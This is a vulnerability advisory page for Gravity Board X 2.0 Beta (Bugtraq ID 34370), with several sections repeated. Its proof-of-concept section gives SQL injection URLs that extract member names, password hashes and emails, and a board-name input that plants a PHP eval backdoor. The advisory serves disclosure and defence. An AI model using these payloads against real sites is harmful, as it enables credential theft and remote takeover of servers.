Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability
BID:34370
Info
Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability
| Bugtraq ID: | 34370 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 03 2009 12:00AM |
| Updated: | Mar 01 2010 07:21PM |
| Credit: | brain[pillow] |
| Vulnerable: |
Gravity Board X GBX 2.0 Beta |
| Not Vulnerable: | |
Discussion
Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability
Gravity Board X is prone to multiple SQL-injection vulnerabilities and a remote command-execution because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Gravity Board X 2.0 is vulnerable; other versions may also be affected.
Gravity Board X is prone to multiple SQL-injection vulnerabilities and a remote command-execution because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Gravity Board X 2.0 is vulnerable; other versions may also be affected.
Exploit / POC
Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability
Attackers can use a browser to exploit these issues.
The following example URIs and data are available:
SQL-injections:
http://www.example.com/index.php?action=viewprofile&member_id=slider-
http://www.example.com/index.php?action=viewboard&board_id=m0nzt3r-loleg-too'+union+select+0,concat_ws(char(58),displayname,pw,email),2+from+gbx_members+where+1='1
Code exec:
Go: http://www.example.com/index.php?action=configure
Enter Board Name: xXx";if(isset($_GET[c]))eval($_GET[c]);#
Go: http://www.example.com/index.php?ok=phpinfo();
The following exploit is available:
Attackers can use a browser to exploit these issues.
The following example URIs and data are available:
SQL-injections:
http://www.example.com/index.php?action=viewprofile&member_id=slider-
http://www.example.com/index.php?action=viewboard&board_id=m0nzt3r-loleg-too'+union+select+0,concat_ws(char(58),displayname,pw,email),2+from+gbx_members+where+1='1
Code exec:
Go: http://www.example.com/index.php?action=configure
Enter Board Name: xXx";if(isset($_GET[c]))eval($_GET[c]);#
Go: http://www.example.com/index.php?ok=phpinfo();
The following exploit is available:
Solution / Fix
Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability
References:
References:
- GBX Homepage (Gravity Board X)